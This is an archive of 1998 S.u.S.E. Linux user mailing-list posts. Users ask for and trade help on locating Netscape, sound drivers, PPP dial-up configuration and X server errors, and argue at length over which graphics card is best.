Date: Thu, 18 Jun 1998 17:38:47 +0200
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Rick Knebel wrote:

> I just installed version 5.2 and cannot find netscape.
> Is in on the cdrom?
>
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  Yes there is, it installed in /opt/netscape/netscape
You must chek packages on 2-nd cd (I think) or find it by YaST
                                                Best Regards

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From rgu@gate.net Thu Jun 18 16:04:07 1998
From: rgu@gate.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] oss
Date: Thu, 18 Jun 1998 12:04:07 -0400
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Greetings:
        It is my intent to do some repartitioning after adding a
hard-drive and reinstall 5.1.  I have almost completely divorced myself
from any dependence on "The Evil Empire."  One of the few remaining quirks
is my inability to make oss functional and hence enjoy my investment in
one of their licenses.
        If it is possible during install, how do I ensure that i) "the
kernel is compiled with loadable module support" and ii) "the kernel must
not have sound-driver compiled in"?
        Allow me to express my sincere appreciation to this community for
any future help you may afford me.
        Thanks,  Bob Utter


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From schullersite@NOSPAMworldnet.att.net.suse.de Thu Jun 18 16:25:17 1998
From: schullersite@NOSPAMworldnet.att.net.suse.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PPPD Deamon
Date: Thu, 18 Jun 1998 11:25:17 -0500
Message-ID: <35893F6D.ECEAD7E9@NOSPAMworldnet.att.net>
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Perry Moon wrote:
> 
> Any help would be a appreciated.
> 
> I am trying to get my ppp connection to the net working under S.u.S.E. 5.2
> fresh install. I have X up and running and am using the KDE window manager.
> I was trying to config my dial up using an applet called KDPPP I think is
> the name, nice config panel. Anyway, all seems to function correctly to the
> point of connection and login script execution. The Login id goes in and
> then the prompt for Password and it is sent. And at this point (when the
> ppp handshake starts) I get a message on the debug console that says PPD
> Deamon died unexpectedly and that is the end of the connection attempt. The
> connection drops 30 seconds later or so later.
>         Any ideas or things to look at would be greatly appreciated.
> 
> Perry K. Moon
> pmoon(a)mindspring.com
> 
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Perry-  if you're getting past authentication you're 9/10 of the way
home!   :)  Type "dmesg" at a console prompt and see if the output
mentions PPP.  If it doesn't, recompile your kernel to include PPP
support and don't forget to do the "make modules".  Boot with the new
kernel and everything should work.

Ken

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From roberto@cbvcp.com Thu Jun 18 17:03:50 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] rick knebel unsubscribe
Date: Thu, 18 Jun 1998 10:03:50 -0700
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has it occured to you the maybe, just maybe, if you removed the
signatures that you might unsubscribe?  just a thought

Aaron Seelye

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From roberto@cbvcp.com Thu Jun 18 17:05:50 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] netscape
Date: Thu, 18 Jun 1998 10:05:50 -0700
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Rick Knebel wrote:
> 
> I just installed version 5.2 and cannot find netscape.
> Is in on the cdrom?

you can use kfm to go to netscape's site and dl the latest (4.05)
version.

Aaron Seelye

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From stefan.troeger@wirtschaft.tu-chemnitz.de Thu Jun 18 17:10:47 1998
From: stefan.troeger@wirtschaft.tu-chemnitz.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PPPD Deamon
Date: Thu, 18 Jun 1998 19:10:47 +0200
Message-ID: <19980618191047.A902@one.hrz.tu-chemnitz.de>
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On Thu, Jun 18, 1998 at 11:33 -0400, Perry Moon wrote:

> Any help would be a appreciated.
> 
> I am trying to get my ppp connection to the net working under S.u.S.E. 5.2
> fresh install. I have X up and running and am using the KDE window manager.
> I was trying to config my dial up using an applet called KDPPP I think is
> the name, nice config panel. Anyway, all seems to function correctly to the
> point of connection and login script execution. The Login id goes in and
> then the prompt for Password and it is sent. And at this point (when the
> ppp handshake starts) I get a message on the debug console that says PPD
> Deamon died unexpectedly and that is the end of the connection attempt. The
> connection drops 30 seconds later or so later.
> 	Any ideas or things to look at would be greatly appreciated.

Check /etc/ppp/options. It has to be empty for kppp to work.

Ciao,
        Stefan

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From rknebel@csrlink.net Thu Jun 18 17:12:30 1998
From: rknebel@csrlink.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] exmh
Date: Thu, 18 Jun 1998 13:12:30 -0400
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Hi,
Can anyone tell me if exmh comes with the 5.2 distro and if so where it is at.

thanks Alot


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From roberto@cbvcp.com Thu Jun 18 17:54:10 1998
From: roberto@cbvcp.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] rick knebel unsubscribe
Date: Thu, 18 Jun 1998 10:54:10 -0700
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I just saw that he was trying to subscribe, and not unsubscribe, as many
people foul up doing.  I apologize to him, and everyone else for this
oversight.

Aaron Seelye wrote:
> 
> has it occured to you the maybe, just maybe, if you removed the
> signatures that you might unsubscribe?  just a thought
> 
> Aaron Seelye
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From hlarons@ComCAT.COM Thu Jun 18 18:19:25 1998
From: hlarons@ComCAT.COM
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Re: Non Fatal Error from XServer
Date: Thu, 18 Jun 1998 14:19:25 -0400
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Some time ago Michael Burghart wrote to this list:
>=20
> Dear Howard..
>=20
> On Thu, 4 Jun 1998, Howard Arons wrote:
>=20
> > I used XF86config to set up my svga XServer, and the server
> > seems to run OK, as does fvwm2 and fvwm95. However, when I
> > inspect the server log message, I find two puzzling items:
> >
> > Item 1. What does this mean (line breaks are arbitrary)? How can
> > I prevent it? Should I even be concerned? If I disable the xkb
> > option I can't use e.g. my backspace key any longer.
> >
> >  System: `/usr/X11R6/lib/X11/xkb/xkbcomp -w
> > 1-R/usr/X11R6/lib/X11/xkb -xkm -m us -em1 "The XKEYBOARD keymap
> > compiler (xkbcomp) reports: " -emp "> " -eml "Errors from xkbcomp
> > are not fatal to the X server" keymap/xfree86
> > /var/tmp/xfree86.xkm' tail: no process killed
>=20
> this "bug" is known..I attach a file from our SDB to the end of the
> mail..;)
>=20
> > Item 2. The XServer reports that I have specified a 3 button
> > mouse. This is wrong--I specified a Microsoft 2-button mouse,
> > which is what I have.
>=20
> Then you need to setup X correctly..obviously you have installed a three
> button mouse..

Well, I'm not sure thsi helps. My X86Config file lists a 2-button MS
mouse. So what's to reconfig?=20

> Xkeyboard Compiler (xkbcomp) announces an
> error
>=20
> Symptom:
>=20
> After having installed a new X server (e.g. xsvga.rpm von
> ftp://ftp.=
suse.com>) you have configured your keyboard. Then
> you start X and get an error message like:
>=20
> Error: Cannot open "/var/X11R6/xkb/compiled/server-0.xkm"
>=20
> Cause:
>=20
> The directory /var/X11R6/xkb/compiled is packed in xf86.rpm
> which you haven't updated. The X keyboard compiler resists that this
> directory exists even if it's empty. That's why you get this error
> message.
>=20
> Solution:
>=20
> If this directory doesn't exist you need to create it. This has to be
> done as user root:
>=20
>=20
> mkdir -p /var/X11R6/xkb/compiled

This directory already exists (and is empty). Any other ideas? Anyone?

Howard Arons

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From rkeeley@dibbs.net Thu Jun 18 18:25:59 1998
From: rkeeley@dibbs.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Thu, 18 Jun 1998 13:25:59 -0500
Message-ID: <35895BB6.AC55B35E@dibbs.net>
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World Leader Pretend wrote:

> ideo cards (ATI's are wonderful) can make any monitor do wonderful things...
>
>         I own a Trident 9685 providia with 4megs of ram, and since they've =
combined the SuSE Trident Xserver withe the SVGA Xserver, I can get 1024x768 =
with a 16 bit color depth on my 15" CTX 1562GM.

I have a cheap Trident 9680 or 85 with 1 Meg of ram, and I am interested in t=
his add-on or combined deal that you mention, but I am not familiar with it. =
Could your explain it more. I have been thinking of upgrading to an ATI.

>         The best setup I've witnessed personally was a RIVA128 (4 megs) run=
ning 1280x1024 at 32 bit color depth (I think) on a 17" MAG (or Viewsonic) an=
d it had extra resolution (modes) to spare...  I was jealous...  The scrollin=
g was the smoothest I've seen, ever!  I wished I could have seen what mpeg lo=
oked like...

Now this above sounds like what I want, but I never heard of a RIVA128 and I =
am planing on getting a 17" Viewsonic, could you advise me on this board also=
?    Many thanks for your effort.

>
>
>                                                 Jonathan
>
> --
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>
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>                         jpcowh01(a)slug.louisville.edu
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>
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From hlarons@ComCAT.COM Thu Jun 18 18:38:00 1998
From: hlarons@ComCAT.COM
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Netscape Offline: Continued
Date: Thu, 18 Jun 1998 14:38:00 -0400
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I briught up this topic on the list awhile ago. I have since learned
that deleting the ~/.netscape dir and rerunning netscape to regen all
the files solves (part) of the problem. I can now compose _new_ messages
while offline. However, attempting to _reply_ to an existing message
still causes a hang. When that happens, the following message continues
to scroll on the xterm that I launched netscape from, until I kill
Netscape:

"Warning: Select Failed; error code 9"

Does anyone have any idea what this means?

Howard Arons

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From rknebel@csrlink.net Thu Jun 18 18:40:29 1998
From: rknebel@csrlink.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] exmh
Date: Thu, 18 Jun 1998 14:40:29 -0400
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Hi,
Is there a version of exmh for install in the 5.2 distribution?

thanks


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From jpcowh01@ox.slug.louisville.edu Thu Jun 18 18:49:59 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] gcc version 2.7.2.1
Date: Thu, 18 Jun 1998 14:49:59 -0400
Message-ID: <199806181849.OAA13582@ox.slug.louisville.edu>
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> errno 11 from gcc when I try to compile my kernel.  It's fairly random when=
 it=20
> happens.  It doesn't always happen at the same point in compilation.  This =
happened
> when I was running caldera lite on the machine also.  It also happens when =
I try to
> recompile other packages such as gcc or pretty much anything that isn't ver=
y small.
> It may have something to do with the amount of memory free on the laptop.  =
I have
> 48MB but when I compile and have X running the compilation seems to die soo=
ner.

run ddd if you can or try to look at the core file with xdb and see if it was=
 a memory management problem.  I think if you have a older libc, it might giv=
e you the memory management problems, and make sure that the version of gcc t=
hat you have is the needed one to compile the newest (I usually tells in the =
README or INSTALL.txt)

                                                Jonathan

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                           Jonathan Paul Cowherd
                        jpcowh01(a)slug.louisville.edu
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edu/~jpcowh01>

This is my world and I am...                           World Leader Pretend
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From jpcowh01@ox.slug.louisville.edu Thu Jun 18 18:57:35 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PCI SOUND CARD ESS Maestro-1
Date: Thu, 18 Jun 1998 14:57:35 -0400
Message-ID: <199806181857.OAA13620@ox.slug.louisville.edu>
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>  Dear friends...
>  Please talk me about Linux driver for PCI ESS Maestro-1
>  sound card.
>    Anybody knows? I'am looking for this driver(s).
>                                                              Yours Nick.
> Nick K. Kozubsky, Kaliningrad (Koenigsberg), West of Russia.
> nick(a)belam.koenig.ru
> nick(a)belam.gazinter.net

Dear Nick,

        I have a ess1868 audiodrive card ($20 here in the states) and I use t=
he SB compatible driver under linux with the DMA set to 5 instead of 7 which =
I believe is it's default.  The other thing is that the card is pnp, so I had=
 to pnpdump to find the basic setting of the card, uncomment out the first tw=
o settings, and isapnp /etc/isapnp.conf (with isapnp.conf begin the pnpdump r=
esults)...  It has been working ever since...  isapnp also recongized my pci =
pnp devices...

                                                Jonathan


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                           Jonathan Paul Cowherd
                        jpcowh01(a)slug.louisville.edu
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From wpaszko@kki.net.pl Thu Jun 18 19:02:07 1998
From: wpaszko@kki.net.pl
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PPPD Deamon
Date: Thu, 18 Jun 1998 21:02:07 +0200
Message-ID: <98061821040700.00314@sp5rdu>
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On Thu, 18 Jun 1998, you wrote:
>Any help would be a appreciated.
>
>I am trying to get my ppp connection to the net working under S.u.S.E. 5.2
>fresh install. I have X up and running and am using the KDE window manager.
>I was trying to config my dial up using an applet called KDPPP I think is
>the name, nice config panel. Anyway, all seems to function correctly to the
>point of connection and login script execution. The Login id goes in and
>then the prompt for Password and it is sent. And at this point (when the
>ppp handshake starts) I get a message on the debug console that says PPD
>Deamon died unexpectedly and that is the end of the connection attempt. The
>connection drops 30 seconds later or so later.
>	Any ideas or things to look at would be greatly appreciated.
>
>Perry K. Moon
>pmoon(a)mindspring.com
>
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I've had this problem too try to erase "lock" from pppd.options
Or read help to kppp.

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From wiliweld@ix.netcom.com Thu Jun 18 19:04:19 1998
From: wiliweld@ix.netcom.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] PPP/PAP, dynamic ISP, DNS entries.???
Date: Thu, 18 Jun 1998 12:04:19 -0700
Message-ID: <3.0.3.32.19980618120419.006dbc3c@popd.ix.netcom.com>
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 Having a (dynamic) ISP that provides DNS's, primary =3D (199.182.120.203) an=
d secondary =3D (199.182.120.202)  for login, how would I edit the following =
script to accomadate them. I have a simple home system wanting Internet acces=
s. I have a 33.6 modem with an existing functional account.

****************************************************************



isp:

set device /dev/cua1

set speed 115200

disable lqr

deny lqr

disable vjcomp

deny vjcomp

set redial 10 4

set timeout 300

set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 25 \"\"

AT&F1&C1&D2%A4=3D0 OK-AT-OK \\dATDT\\T TIMEOUT 70 CONNECT"

set phone ********

set ifaddr 123.45.67.89/24 123.45.67.98/0    #are these neccesary?

add 0 0 123.45.67.98 				#are these neccesary?

set openmode passive

disable chap

disable pap

accept chap

accept pap

set authname ********

set authkey ******

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Thanks, any assistance would help me, I'm new as you can tell.






Bill Schoolcraft

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d>
~

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~


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From jpcowh01@ox.slug.louisville.edu Thu Jun 18 19:33:40 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Thu, 18 Jun 1998 15:33:40 -0400
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> World Leader Pretend wrote:
>=20
> > ideo cards (ATI's are wonderful) can make any monitor do wonderful things=
...
> >
> >         I own a Trident 9685 providia with 4megs of ram, and since they'v=
e combined the SuSE Trident Xserver withe the SVGA Xserver, I can get 1024x76=
8 with a 16 bit color depth on my 15" CTX 1562GM.
>=20
> I have a cheap Trident 9680 or 85 with 1 Meg of ram, and I am interested in=
 this add-on or combined deal that you mention, but I am not familiar with it=
. Could your explain it more. I have been thinking of upgrading to an ATI.
>=20
> Now this above sounds like what I want, but I never heard of a RIVA128 and =
I am planing on getting a 17" Viewsonic, could you advise me on this board al=
so?    Many thanks for your effort.
>=20
        The RIVA128 is a chip that is in some of the Diamond Cards and the Vo=
odoo card I believe, and the Xserver for is really fast (it's a really fast c=
ard, I believe it's dac goes to 230).  If I could afford it, I would buy that=
 one with 8megs and TV ports.
        ATI has been on of the forerunners in releasing specs to make great X=
servers for their cards.  I believe they are the most supported out of the an=
y brand (feature wise) with xfree86, but I believe the RIVA128 is the fastest=
, I could be wrong too, I don't know what is new.
        I believe that most of the new well known brand monitors have a reall=
y wide sync range for Horizontal and Vertical frequencies.
        I am happy with my Trident Providia, even though the drivers in Windo=
ws or xfree86 support all of it's features, I trust someday they will.

                                                        Jonathan

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         =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

                           Jonathan Paul Cowherd
                        jpcowh01(a)slug.louisville.edu
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edu/~jpcowh01>

This is my world and I am...                           World Leader Pretend
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From satan@nfinity.com Thu Jun 18 19:41:05 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Thu, 18 Jun 1998 14:41:05 -0500
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nvidia makes the riva128 board, and overall it is a nice card.  Visual
quality in 3d applications is somewhat poor compared to 3dfx and
rendition.  Matrox makes, hands down, the nicest 2d board money can
buy.  If you are concerned with 3d, then chances are you already have a
3dfx voodoo card, so for 2d I would recommend matrox.  It would be worth
waiting a month to get the new matrox g200, which hasn't hit the market
yet but will be here soon.

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From jpcowh01@ox.slug.louisville.edu Thu Jun 18 20:11:41 1998
From: jpcowh01@ox.slug.louisville.edu
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] PPP/PAP, dynamic ISP, DNS entries.???
Date: Thu, 18 Jun 1998 16:11:41 -0400
Message-ID: <199806182011.QAA14468@ox.slug.louisville.edu>
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> Having a (dynamic) ISP that provides DNS's, primary =3D (199.182.120.203)
> and secondary =3D (199.182.120.202)  for login, how would I edit the
> following script to accomadate them. I have a simple home system wanting
> Internet access. I have a 33.6 modem with an existing functional
> account.

>   set device /dev/cua1
>   set speed 115200
>   disable lqr
>   deny lqr
>   disable vjcomp
>   deny vjcomp
>   set redial 10 4
>   set timeout 300
>   set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 25 \"\"
> AT&F1&C1&D2%A4=3D0 OK-AT-OK \\dATDT\\T TIMEOUT 70 CONNECT"
>   set phone ********
>   set ifaddr 123.45.67.89/24 123.45.67.98/0    #are these neccesary?
>   add 0 0 123.45.67.98 				#are these neccesary?
>   set openmode passive
>   disable chap
>   disable pap
>   accept chap
>   accept pap
>   set authname ********
>   set authkey ******

If you are using pppd, it gets your dns from your service provider and if tha=
t dns is down, your service provider usually will automatically connect you t=
o a secondary dns.

Anything that is not related to connecting to you isp, isn't needed.  When pp=
pd connects to it's host, it get all the information from the host that is ne=
eded...  I believe that all the other stuff like:

        set ifaddr other gatewaying information isn't needed...  if you read =
the man on pppd, it will tell you what the basics are for connecting to a hos=
t, and what's needed if you are a host with a client trying to connect to you=
...

                                                Jonathan

P.S.  There's also examples in the man page!

--=20
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         =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

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This is my world and I am...                           World Leader Pretend
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From satan@nfinity.com Thu Jun 18 21:00:59 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Thu, 18 Jun 1998 16:00:59 -0500
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Not even close.  The riva is made by nvidia.  Voodoo, voodoo rush, and
voodoo2 cards are made by 3dfx. The voodoo and voodoo2 are 3d only
cards, they do not do 2d at all, and they only do fullscreen 3d, not in
a window.  3dfx voodoo and voodoo2 cards outperform any other card in 3d
performance by a factor of 4, but this will soon change as other card
makers rush to play catch up.  Voodoo and voodoo2 cards support
microsoft's directX, a subset of sgi's OpenGL, and their own proprietary
api, Glide.

World Leader Pretend wrote:

>         The RIVA128 is a chip that is in some of the Diamond Cards and the =
Voodoo card I believe

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From jmbrooks@nr.infi.net Thu Jun 18 21:28:29 1998
From: jmbrooks@nr.infi.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Thu, 18 Jun 1998 17:28:29 -0400
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Riva128 is fastest, I do believe.  However, it is NOT the chip in the
Voodoo card, but rather is that chip's greatest rival.  The chip in the
Voodoo cards is not a "chip" but a chipset called the Voodoo chipset,
made by 3dfx.  It is a 3D only solution, and I'm not aware that it is
supported under Linux.  Riva128 is a 2D/3D solution, but I believe only
its 2D functions are supported at this time.

>         ATI has been on of the forerunners in releasing specs to make great=
 Xservers for their cards.  I believe they are the most supported out of the =
any brand (feature wise) with xfree86, but I believe the RIVA128 is the faste=
st, I could be wrong too, I don't know what is new.

__________________________________________________

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From clm@hackers.the-core.net Thu Jun 18 21:31:39 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Thu, 18 Jun 1998 17:31:39 -0400
Message-ID: <2.2.32.19980618213139.0069785c@hackers.the-core.net>
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a correction,=20

The voodoo RUSH is a chipset designed by 3DFX, it supports rendering in a
window in fact the rush chipset it used in semi professional 3d graphics,
the subset of SGI's open GL is called miniGL,=20
        someone told me that the RUSH is not a pass though card, that I
cannot confirm,

thanks=20
Chris=20

At 04:00 PM 6/18/98 -0500, you wrote:
>
>Not even close.  The riva is made by nvidia.  Voodoo, voodoo rush, and
>voodoo2 cards are made by 3dfx. The voodoo and voodoo2 are 3d only
>cards, they do not do 2d at all, and they only do fullscreen 3d, not in
>a window.  3dfx voodoo and voodoo2 cards outperform any other card in 3d
>performance by a factor of 4, but this will soon change as other card
>makers rush to play catch up.  Voodoo and voodoo2 cards support
>microsoft's directX, a subset of sgi's OpenGL, and their own proprietary
>api, Glide.
>
>World Leader Pretend wrote:
>
>>         The RIVA128 is a chip that is in some of the Diamond Cards and
the Voodoo card I believe
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From brauki@cityweb.de Thu Jun 18 21:43:51 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Netscape Offline: Continued
Date: Thu, 18 Jun 1998 23:43:51 +0200
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Howard Arons wrote:
> 
> I briught up this topic on the list awhile ago. I have since learned
> that deleting the ~/.netscape dir and rerunning netscape to regen all
> the files solves (part) of the problem. I can now compose _new_ messages
> while offline. However, attempting to _reply_ to an existing message
> still causes a hang. When that happens, the following message continues
> to scroll on the xterm that I launched netscape from, until I kill
> Netscape:
> 
> "Warning: Select Failed; error code 9"
> 
> Does anyone have any idea what this means?
> 

no idea. I still belive netscape tries some requests. In my case,
usually dial on demand ISDN is started. I can see nameserver requests
etc. in messages.

a workaround could be to use a caching nameserver (i start with -q
option to log requested ip's in messages) and see what happens.

next thing in case the upper is true, enter all (mailhost, goodness
knows what else) hosts in /etc/hosts.

good luck. the other advice is to use netscape 3.x, -unfortunately
without mail filters- I did this as long until i silenced my system with
useless phonecalls.

jurgen


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From clm@hackers.the-core.net Thu Jun 18 21:46:40 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] netscape
Date: Thu, 18 Jun 1998 17:46:40 -0400
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packates ----> pay ---> commicator or netscape it's one or the other=20

At 10:05 AM 6/18/98 -0700, you wrote:
>
>Rick Knebel wrote:
>>=20
>> I just installed version 5.2 and cannot find netscape.
>> Is in on the cdrom?
>
>you can use kfm to go to netscape's site and dl the latest (4.05)
>version.
>
>Aaron Seelye
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From clm@hackers.the-core.net Thu Jun 18 21:47:50 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Thu, 18 Jun 1998 17:47:50 -0400
Message-ID: <2.2.32.19980618214750.0069878c@hackers.the-core.net>
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the voodoo and voodoo2 chipsets are both supported underlinux.,..=20

#1 quake 1 and 2=20

#2 mesa apps=20

thanks=20
Chris=20

At 05:28 PM 6/18/98 -0400, you wrote:
>
>Riva128 is fastest, I do believe.  However, it is NOT the chip in the
>Voodoo card, but rather is that chip's greatest rival.  The chip in the
>Voodoo cards is not a "chip" but a chipset called the Voodoo chipset,
>made by 3dfx.  It is a 3D only solution, and I'm not aware that it is
>supported under Linux.  Riva128 is a 2D/3D solution, but I believe only
>its 2D functions are supported at this time.
>
>>         ATI has been on of the forerunners in releasing specs to make
great Xservers for their cards.  I believe they are the most supported out
of the any brand (feature wise) with xfree86, but I believe the RIVA128 is
the fastest, I could be wrong too, I don't know what is new.
>
>__________________________________________________
>
>Law: an ordinance of reason for the common good,
>made by him who has care of the community.
>
>-- St. Thomas Aquinas
>   Summa Theologica
>
>J. Mark Brooks
>Law Offices of J. Mark Brooks
>P.O. Box 39
>Randleman, NC 27317
>336.498.2603
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>
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From hongfeng@public.wh.hb.cn Thu Jun 18 22:21:33 1998
From: hongfeng@public.wh.hb.cn
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] netscape
Date: Fri, 19 Jun 1998 06:21:33 +0800
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Hi,

Netscape 4.04 is on the CD-ROM!  I have also the same problem to find it
when I try to install 5.2 last week, pls go back to YaST to source it and

useppp.

Best,
Frederic

Aaron Seelye ??????

> Rick Knebel wrote:
> >
> > I just installed version 5.2 and cannot find netscape.
> > Is in on the cdrom?
>
> you can use kfm to go to netscape's site and dl the latest (4.05)
> version.
>
> Aaron Seelye
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From clm@hackers.the-core.net Thu Jun 18 22:26:52 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Thu, 18 Jun 1998 18:26:52 -0400
Message-ID: <2.2.32.19980618222652.0069eae0@hackers.the-core.net>
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        Actually I would disagree from experience,  matrox's Mellinum 1 was
an incredible card, the mistique and Milluinum II both failed pretty bad,
Might I suggest a good ATI card=20

thanks=20
Chris

At 02:41 PM 6/18/98 -0500, you wrote:
>
>nvidia makes the riva128 board, and overall it is a nice card.  Visual
>quality in 3d applications is somewhat poor compared to 3dfx and
>rendition.  Matrox makes, hands down, the nicest 2d board money can
>buy.  If you are concerned with 3d, then chances are you already have a
>3dfx voodoo card, so for 2d I would recommend matrox.  It would be worth
>waiting a month to get the new matrox g200, which hasn't hit the market
>yet but will be here soon.
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From satan@nfinity.com Thu Jun 18 22:48:46 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Thu, 18 Jun 1998 17:48:46 -0500
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If you reread my post I think you'll see that I said "Voodoo, voodoo
rush, and voodoo2 cards are made by 3dfx.".  While quake, quake2 and
hexen are not true opengl implemetations, the term opengl is still
employed when discussing them. I mentioned in my initial post that a
subset of opengl is used.  Don't blame me, blame the gaming community
and the gaming press for misusing the term opengl.  The rush is not a
pass through card,  it does do 3d in a window, does not use the "voodoo"
chipset, and it's 3d performance is vastly inferior to both the voodoo
and voodoo2.  I have owned a voodoo card since January 1997, and
recently purchased a voodoo2, so I am familiar with the product.

Christopher L Miller wrote:
> 
> a correction,
> 
> The voodoo RUSH is a chipset designed by 3DFX, it supports rendering in a
> window in fact the rush chipset it used in semi professional 3d graphics,
> the subset of SGI's open GL is called miniGL,
>         someone told me that the RUSH is not a pass though card, that I
> cannot confirm,
> 
> thanks
> Chris
> 
>

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From satan@nfinity.com Thu Jun 18 22:50:03 1998
From: satan@nfinity.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Thu, 18 Jun 1998 17:50:03 -0500
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ps.
I meant designed by, not made by.

Michael Lankton wrote:
> 
> If you reread my post I think you'll see that I said "Voodoo, voodoo
> rush, and voodoo2 cards are made by 3dfx.".  While quake, quake2 and
> hexen are not true opengl implemetations, the term opengl is still
> employed when discussing them. I mentioned in my initial post that a
> subset of opengl is used.  Don't blame me, blame the gaming community
> and the gaming press for misusing the term opengl.  The rush is not a
> pass through card,  it does do 3d in a window, does not use the "voodoo"
> chipset, and it's 3d performance is vastly inferior to both the voodoo
> and voodoo2.  I have owned a voodoo card since January 1997, and
> recently purchased a voodoo2, so I am familiar with the product.
>

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From clm@hackers.the-core.net Thu Jun 18 22:57:34 1998
From: clm@hackers.the-core.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Thu, 18 Jun 1998 18:57:34 -0400
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but you said that the VOODOO rush.. was a full screen card :P=20

Chris=20

At 05:48 PM 6/18/98 -0500, you wrote:
>
>If you reread my post I think you'll see that I said "Voodoo, voodoo
>rush, and voodoo2 cards are made by 3dfx.".  While quake, quake2 and
>hexen are not true opengl implemetations, the term opengl is still
>employed when discussing them. I mentioned in my initial post that a
>subset of opengl is used.  Don't blame me, blame the gaming community
>and the gaming press for misusing the term opengl.  The rush is not a
>pass through card,  it does do 3d in a window, does not use the "voodoo"
>chipset, and it's 3d performance is vastly inferior to both the voodoo
>and voodoo2.  I have owned a voodoo card since January 1997, and
>recently purchased a voodoo2, so I am familiar with the product.
>
>Christopher L Miller wrote:
>>=20
>> a correction,
>>=20
>> The voodoo RUSH is a chipset designed by 3DFX, it supports rendering in a
>> window in fact the rush chipset it used in semi professional 3d graphics,
>> the subset of SGI's open GL is called miniGL,
>>         someone told me that the RUSH is not a pass though card, that I
>> cannot confirm,
>>=20
>> thanks
>> Chris
>>=20
>>
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From fmiller@lightlink.com Thu Jun 18 23:56:44 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] netscape
Date: Thu, 18 Jun 1998 19:56:44 -0400
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Rick Knebel wrote:
> 
> I just installed version 5.2 and cannot find netscape.
> Is in on the cdrom?

It's on CD #2 or 3...can't remember which.

Fred


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From fmiller@lightlink.com Fri Jun 19 00:03:02 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Thu, 18 Jun 1998 20:03:02 -0400
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Christopher L Miller wrote:
> 
>         Actually I would disagree from experience,  matrox's Mellinum 1 was
> an incredible card, the mistique and Milluinum II both failed pretty bad,
> Might I suggest a good ATI card.

You might, but I wouldn't!  Matrox is anything but a failure!  It's
supported well in Linux, and VERY quick.

Fred


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From rkeeley@dibbs.net Fri Jun 19 01:35:14 1998
From: rkeeley@dibbs.net
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.2
Date: Thu, 18 Jun 1998 20:35:14 -0500
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And which ATI card would that be? I kinda like ATI, I am not a fan of the gam=
es
or 3D, I just want a very good video board that is supported by linux and Win=
95
to go with a Viewsonic 17" monitor. I enjoyed all the comments so far.

Christopher L Miller wrote:

>         Actually I would disagree from experience,  matrox's Mellinum 1 was
> an incredible card, the mistique and Milluinum II both failed pretty bad,
> Might I suggest a good ATI card
>
> thanks
> Chris
>


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From bb@suse.com Fri Jun 19 02:05:28 1998
From: bb@suse.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] jurix
Date: Thu, 18 Jun 1998 19:05:28 -0700
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On Sun, 14 Jun 1998, Michael Lankton wrote:

> 
> I found a German ftp server with Jurix.  Jurix isn't maintained anymore,
> is it?

I'm not quite sure, but I think Florain works on Jurix from time to time.
But as he has a baby now, and SuSE is going glibc, there may be not very
much time left for him to work on Jurix.

BTW, Florain, are you reading this list... ?!

